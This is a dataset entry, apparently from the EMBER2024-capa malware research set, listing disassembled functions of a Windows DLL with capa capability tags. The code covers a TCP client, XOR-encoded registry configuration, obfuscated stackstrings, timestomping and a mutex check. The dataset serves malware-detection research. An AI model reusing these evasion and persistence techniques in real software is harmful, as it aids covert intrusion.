joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002cf78
Capabilities:
Delete file
Get common file path
Set file attributes
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x260
mov r12d, dword [rcx + 0xc]
xor esi, esi
mov dword [rsp + 0x40], 0x64002e
mov ecx, r12d
mov dword [rbp + 0x190], esi
mov dword [rsp + 0x44], 0x740061
lea ebx, [rsi + 1]
mov word [rsp + 0x48], si
call fcn.18002dac0
test eax, eax
je 0x18002cfdc
mov r9d, ebx
lea r8d, [rsi + 2]
mov dl, bl
jmp 0x18002d1b1
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x208
call fcn.18002ec70
call fcn.18002da10
lea r9, [rsp + 0x50]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
mov r13, qword [0x180050ad0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov edx, 0x40000000
mov r8d, ebx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dl, bl
mov cl, setsockopt
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x18002d06a
call fcn.18002c99c
jmp 0x18002d1b8
xor r9d, r9d
xor r8d, r8d
call fcn.18002c9d0
jmp 0x18002d14f
mov rcx, qword [0x180050ad8]
xor edx, edx
mov r8d, 0x800c
call fcn.18002ec70
mov rdi, qword [0x180050ad8]
mov edx, recv
mov rcx, rdi
call fcn.18002e420
cmp eax, 0xffffffff
je 0x18002d168
mov edx, recv
mov rcx, rdi
call fcn.18002c8e4
test eax, eax
je 0x18002d161
mov edx, dword [rdi]
lea rcx, [rdi + 0xc]
call fcn.18002e420
cmp eax, 0xffffffff
je 0x18002d168
mov rcx, rdi
call fcn.18002c924
test eax, eax
je 0x18002d168
mov r8d, dword [rdi]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
lea rdx, [rdi + 0xc]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18002d10f
mov eax, dword [rdi]
cmp dword [rbp + 0x190], eax
je 0x18002d116
mov ebx, 1
mov esi, ebx
and dword [rsp + 0x20], 0
movzx r9d, si
mov r8b, 1
mov dl, setsockopt
mov rcx, r13
call fcn.18002c964
mov rcx, qword [0x180050ad0]
mov edx, recv
call fcn.18002e4dc
test eax, eax
jle 0x18002d168
test sil, 1
jne 0x18002d16b
xor esi, esi
test byte [rdi + 6], 4
jne 0x18002d15d
cmp dword [0x180050ab0], esi
je 0x18002d07a
jmp 0x18002d16b
mov ebx, esi
jmp 0x18002d16b
mov ebx, 1
jmp 0x18002d16b
or ebx, 0xffffffff
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x50]
test ebx, ebx
je 0x18002d187
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, ebx
jmp 0x18002d1b8
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x50]
call fcn.18002d574
lea rdx, [rsp + 0x50]
mov ecx, r12d
call fcn.18002da54
xor r9d, r9d
mov dl, 1
mov r8d, eax
mov cl, setsockopt
call fcn.18002c9d0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x18002d4cc
Capabilities:
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x430
mov edi, dword [rcx + 0xc]
xor ebx, ebx
mov ecx, edi
call fcn.18002dfcc
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x410
call fcn.18002ec70
lea r8, [rsp + 0x20]
lea rdx, [0x18003e60c]
mov r9d, 0x410
mov ecx, edi
call fcn.18002d818
test eax, eax
jne 0x18002d51e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18002d53e
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18002d53e
lea r8d, [rax + 4]
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, edi
call fcn.18002d74c
test eax, eax
jne 0x18002d551
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
xor r9d, r9d
mov r8d, ebx
mov dl, 2
mov cl, setsockopt
call fcn.18002c9d0
mov rbx, qword [rsp + 0x440]
add rsp, 0x430
pop rdi
ret

Function at 0x18002d574
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rbx, rcx
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x208
xor edi, edi
mov dword [rsp + 0x40], 0x6b005c
mov dword [rsp + 0x44], 0x720065
mov dword [rsp + 0x48], 0x65006e
mov dword [rsp + 0x4c], 0x33006c
mov dword [rsp + 0x50], 0x2e0032
mov dword [rsp + 0x54], 0x6c0064
mov dword [rsp + 0x58], WSAGetLastError
call fcn.18002ec70
lea rcx, [rbp + 0x1b0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x250
call fcn.18002ec70
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18002d696
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x100
mov rcx, rbx
mov dword [rsp + 0x28], 6
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18002d68d
lea r9, [rsp + 0x74]
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0x64]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r11, [rsp + 0x4c0]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18002d6b4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r10d, r9d
mov r11d, edx
mov rsi, rcx
cmp r9d, 2
jb 0x18002d738
test r10b, 1
jne 0x18002d738
xor r9d, r9d
shr r11d, 1
je 0x18002d70f
mov rdi, r8
xor ebx, ebx
cmp r9d, r10d
jae 0x18002d70f
mov cl, byte [rbx + rsi]
lea eax, [rbx + 1]
inc r9d
mov dl, byte [rax + rsi]
dec cl
add ebx, 2
dec dl
shl cl, 4
and dl, 0xf
add dl, cl
mov byte [rdi], dl
inc rdi
cmp r9d, r11d
jb 0x18002d6e5
mov r11d, r9d
dec r9d
je 0x18002d72f
mov r10d, r9d
add r10, r8
dec r9d
mov dl, byte [r9 + r8]
xor byte [r10], dl
dec r10
test r9d, r9d
jne 0x18002d71d
xor byte [r8], 0xe4
mov eax, r11d
jmp 0x18002d73a
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x18002d74c
Capabilities:
Delete registry key

Disassembly:
sub rsp, 0x238
lea rdx, [rsp + 0x20]
mov r8d, 0x104
call fcn.18002d948
lea rdx, [rsp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x238
ret

Function at 0x18002d788
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor r11d, r11d
mov rbx, rcx
mov edi, r9d
mov rsi, r8
mov r10d, edx
mov cl, 0xe4
test edx, edx
je 0x18002d7be
mov rax, rbx
mov edx, r10d
xor byte [rax], cl
mov cl, byte [rax]
inc rax
dec rdx
jne 0x18002d7b2
test r10d, r10d
je 0x18002d802
mov r9d, 1
lea eax, [r9 + 1]
cmp eax, edi
jae 0x18002d802
mov r8b, byte [rbx]
lea eax, [r9 - 1]
inc r11d
mov dl, r8b
and r8b, 0xf
inc rbx
shr dl, 4
add r8b, 0x41
add dl, 0x41
mov byte [rax + rsi], dl
mov eax, r9d
add r9d, 2
mov byte [rax + rsi], r8b
cmp r11d, r10d
jb 0x18002d7c9
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
lea eax, [r10 + r10]
ret
Function at 0x18002d818
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x958]
sub rsp, 0xa50
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov rdi, rdx
mov rsi, r8
lea rdx, [rsp + 0x40]
mov r8d, 0x104
mov ebx, r9d
call fcn.18002d948
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18002d92c
lea rcx, [rbp + 0x150]
xor edx, edx
mov r8d, 0x800
mov dword [rsp + 0x30], 0x800
call fcn.18002ec70
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x150]
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18002d921
cmp dword [rsp + 0x30], eax
je 0x18002d921
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [rsp + 0x30]
lea r8, [rbp + 0x150]
lea rcx, [rbp + 0x150]
mov r9d, 0x800
call fcn.18002d6b4
lea rdx, [rbp + 0x150]
mov rcx, rsi
cmp eax, ebx
cmova eax, ebx
mov r8d, eax
mov dword [rsp + 0x30], eax
call fcn.18002eeb0
mov eax, 1
jmp 0x18002d92e
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
lea r11, [rsp + 0xa50]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18002d948
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, ecx
xor ecx, ecx
mov rdi, rdx
mov r8d, r8d
mov word [rbp - 4], cx
mov word [rbp - 0x34], cx
mov rcx, rdi
xor edx, edx
add r8, r8
mov dword [rbp - 0x30], 0x6f0053
mov dword [rbp - 0x2c], 0x740066
mov dword [rbp - 0x28], 0x610077
mov dword [rbp - 0x24], 0x650072
mov dword [rbp - 0x20], 0x4d005c
mov dword [rbp - 0x1c], 0x630069
mov dword [rbp - 0x18], 0x6f0072
mov dword [rbp - 0x14], 0x6f0073
mov dword [rbp - 0x10], 0x740066
mov dword [rbp - 0xc], 0x54005c
mov dword [rbp - 8], 0x4b0050
mov dword [rbp - 0x40], 0x730025
mov dword [rbp - 0x3c], 0x25005c
mov dword [rbp - 0x38], 0x75006c
call fcn.18002ec70
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x40]
mov r9d, ebx
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea r11, [rsp + 0x60]
mov rax, rdi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18002da10
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
mov rax, qword [0x180050b08]
test rax, rax
jne 0x18002da4f
lea ecx, [rax + 0x40]
mov edx, 0x208
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [0x180050b08], rax
test rax, rax
je 0x18002da4f
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov rax, qword [0x180050b08]
add rsp, 0x28
ret
Function at 0x18002db00
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
xor ebx, ebx
mov r15d, edx
lea rax, [rsp + 0x60]
mov r12, rcx
lea rdx, [rsp + 0x68]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x68], 0x6f0053
mov dword [rsp + 0x6c], 0x740066
mov dword [rsp + 0x70], 0x610077
mov dword [rsp + 0x74], 0x650072
mov dword [rsp + 0x78], 0x4d005c
mov dword [rsp + 0x7c], 0x630069
mov dword [rbp - 0x80], 0x6f0072
mov dword [rbp - 0x7c], 0x6f0073
mov dword [rbp - 0x78], 0x740066
mov dword [rbp - 0x74], 0x54005c
mov dword [rbp - 0x70], 0x4b0050
mov word [rbp - 0x6c], bx
mov dword [rbp + 0x1f0], ebx
mov esi, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18002dbbd
xor eax, eax
jmp 0x18002dc91
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
lea rax, [rbp - 0x68]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1f0]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x18002dc84
mov edi, ebx
cmp dword [rbp + 0x1f0], ebx
jbe 0x18002dc82
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, 0x208
mov dword [rbp + 0x1f8], 0x104
call fcn.18002ec70
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
lea r9, [rbp + 0x1f8]
lea r8, [rbp - 0x60]
mov edx, edi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x18002dc78
lea r14d, [rsi + 1]
cmp r14d, r15d
jae 0x18002dc78
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov ecx, esi
mov esi, r14d
mov dword [r12 + rcx*4], eax
inc edi
cmp edi, dword [rbp + 0x1f0]
jb 0x18002dc11
mov ebx, esi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x18002ddc4
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x250
mov r15, rdx
mov rbp, r8
lea rdx, [rsp + 0x40]
xor ebx, ebx
mov r8d, 0x104
mov r14d, r9d
mov qword [rsp + 0x30], rbx
call fcn.18002d948
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x18002de1e
xor eax, eax
jmp 0x18002de90
lea esi, [r14*2 + 0x10]
mov ecx, 0x40
mov edx, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x18002de83
mov r9d, esi
mov r8, rax
mov edx, r14d
mov rcx, rbp
call fcn.18002d788
lea ecx, [r14 + r14]
mov r9d, 3
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rdx, r15
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 1
test eax, eax
cmove ebx, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x18002e14c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r15
sub rsp, 0x40
xor ebx, ebx
movzx esi, dx
mov ebp, ecx
lea r15d, [rbx + 2]
lea edx, [rbx + 1]
lea r8d, [rbx + 6]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18002e261
movzx ecx, si
mov word [rsp + 0x30], r15w
mov dword [rsp + 0x34], ebp
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbx + 0x10]
lea rdx, [rsp + 0x30]
mov rcx, rdi
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x18002e24b
imul eax, dword [0x18004f004], 0x3e8
lea esi, [rbx + 4]
mov ebp, 0xffff
lea r9, [rsp + 0x70]
mov r8d, 0x1006
mov rcx, rdi
mov edx, ebp
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x70], eax
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x18002e24b
lea r9, [rsp + 0x70]
mov r8d, 0x1005
mov edx, ebp
mov rcx, rdi
mov dword [rsp + 0x20], esi
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x18002e24b
mov rcx, qword [0x180050ac0]
call fcn.1800010f0
mov rbx, rax
test rax, rax
je 0x18002e24b
mov edx, edi
mov rcx, rax
call fcn.1800011e0
mov rcx, rbx
call fcn.180001ec0
cmp eax, 0xffffffff
je 0x18002e24b
mov qword [0x180050ab8], rdi
mov qword [0x180050ac8], rbx
lea eax, [rsi - 3]
jmp 0x18002e263
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test rbx, rbx
je 0x18002e261
mov rcx, rbx
call fcn.180001190
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop r15
pop rdi
pop rsi
ret
Function at 0x18002e354
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
and dword [0x180050ab4], 0
call fcn.18002bdc0
test eax, eax
jne 0x18002e36c
xor eax, eax
jmp 0x18002e3e7
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x18002e0b8]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180050aa0], rax
test rax, rax
je 0x18002e368
cmp dword [0x180050ab0], 0
jne 0x18002e3b9
test rax, rax
je 0x18002e3b9
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x180050aa0]
jmp 0x18002e397
mov dword [0x180050ab4], 1
test rax, rax
je 0x18002e3dd
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x180050aa0], 0
jne 0x18002e3c8
call fcn.18002e05c
mov eax, 1
add rsp, 0x38
ret

Function at 0x18002e3ec
Capabilities:
Resolve dns

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x18002e417
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18002e417
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
add rsp, 0x20
pop rbx
ret

Function at 0x18002e420
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, edx
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
test edi, edi
jne 0x18002e44b
xor eax, eax
jmp 0x18002e4c5
cmp dword [0x180050ab0], ebx
jne 0x18002e4c3
cmp dword [0x180050ab4], 0
jne 0x18002e4c3
mov rcx, qword [0x180050ac8]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
call fcn.180001280
test eax, eax
jg 0x18002e4ac
mov rcx, qword [0x180050ac8]
mov edx, eax
call fcn.180001490
cmp eax, 2
jne 0x18002e4a7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x18002e4a7
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x1d4c0
jb 0x18002e4ba
or eax, 0xffffffff
jmp 0x18002e4c5
add ebx, eax
cmp ebx, edi
jge 0x18002e4c3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
cmp dword [0x180050ab0], 0
jmp 0x18002e451
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18002e4dc
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, edx
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, edi
mov rcx, rbp
mov esi, eax
call fcn.18002c25c
test edi, edi
jle 0x18002e56b
mov rcx, qword [0x180050ac8]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
call fcn.180001250
test eax, eax
jg 0x18002e55d
mov rcx, qword [0x180050ac8]
mov edx, eax
call fcn.180001490
cmp eax, 3
jne 0x18002e558
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x18002e558
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x1d4c0
jb 0x18002e567
or eax, 0xffffffff
jmp 0x18002e56d
add ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
cmp ebx, edi
jl 0x18002e50d
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18002e74c
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
lea rcx, [rbp - 0x50]
xor edx, edx
mov r8d, 0x208
call fcn.18002ec70
mov rcx, qword [0x180050a88]
lea rdx, [rbp - 0x50]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
test rax, rax
je 0x18002e8c1
lea r9d, [rbx + 2]
lea edx, [rbx - 0x6c]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r8d, [rbx + 0x6c]
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.18002ec70
lea r9, [rbp + 0x1d0]
lea r8d, [rbx + 0x6c]
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18002e8b8
cmp dword [rbp + 0x1d0], 0x6c
jne 0x18002e8b8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [rbx + 0x6b]
mov al, byte [rsp + rcx + 0x3f]
dec rcx
xor byte [rsp + rcx + 0x41], al
test rcx, rcx
jg 0x18002e829
xor byte [rsp + 0x40], 0xf0
cmp dword [rsp + 0x40], 0xfefcfdfb
jne 0x18002e8c1
movzx eax, word [rsp + 0x44]
mov edx, 0x65
lea ecx, [rdx - 0x25]
mov word [section..data], ax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [0x180050a80], rax
test rax, rax
je 0x18002e8c1
lea rdx, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rcx, qword [0x180050a80]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x18002e8b1
mov rdi, rbx
mov rcx, qword [0x180050a80]
inc ebx
xor byte [rdi + rcx], 0xe6
mov rcx, qword [0x180050a80]
inc rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp ebx, eax
jl 0x18002e890
mov eax, 1
jmp 0x18002e8c3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18002e8d8
Capabilities:
Contain obfuscated stackstrings
Create thread
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
xor ebx, ebx
lea r8, [rsp + 0x30]
mov ecx, 0x1f0001
lea edx, [rbx + 1]
mov dword [rsp + 0x30], 0x6c0047
mov dword [rsp + 0x34], 0x62006f
mov dword [rsp + 0x38], 0x6c0061
mov dword [rsp + 0x3c], 0x34005c
mov dword [rsp + 0x40], 0x350042
mov dword [rsp + 0x44], 0x410039
mov dword [rsp + 0x48], 0x430046
mov dword [rsp + 0x4c], 0x43
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
je 0x18002e957
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x18002e9d9
lea rdx, [rsp + 0x50]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x18002e950
call fcn.180001df0
call fcn.180004ba0
mov rcx, rax
call fcn.1800010d0
mov qword [0x180050ac0], rax
test rax, rax
je 0x18002e950
mov edx, 0x78
mov rcx, rax
call fcn.1800025d0
mov rcx, qword [0x180050ac0]
xor r8d, r8d
xor edx, edx
call fcn.180001e80
lea r8, [0x18002e584]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [0x180050ab0], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov qword [0x180050a90], rax
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x200]
add rsp, 0x1f0
pop rbp
ret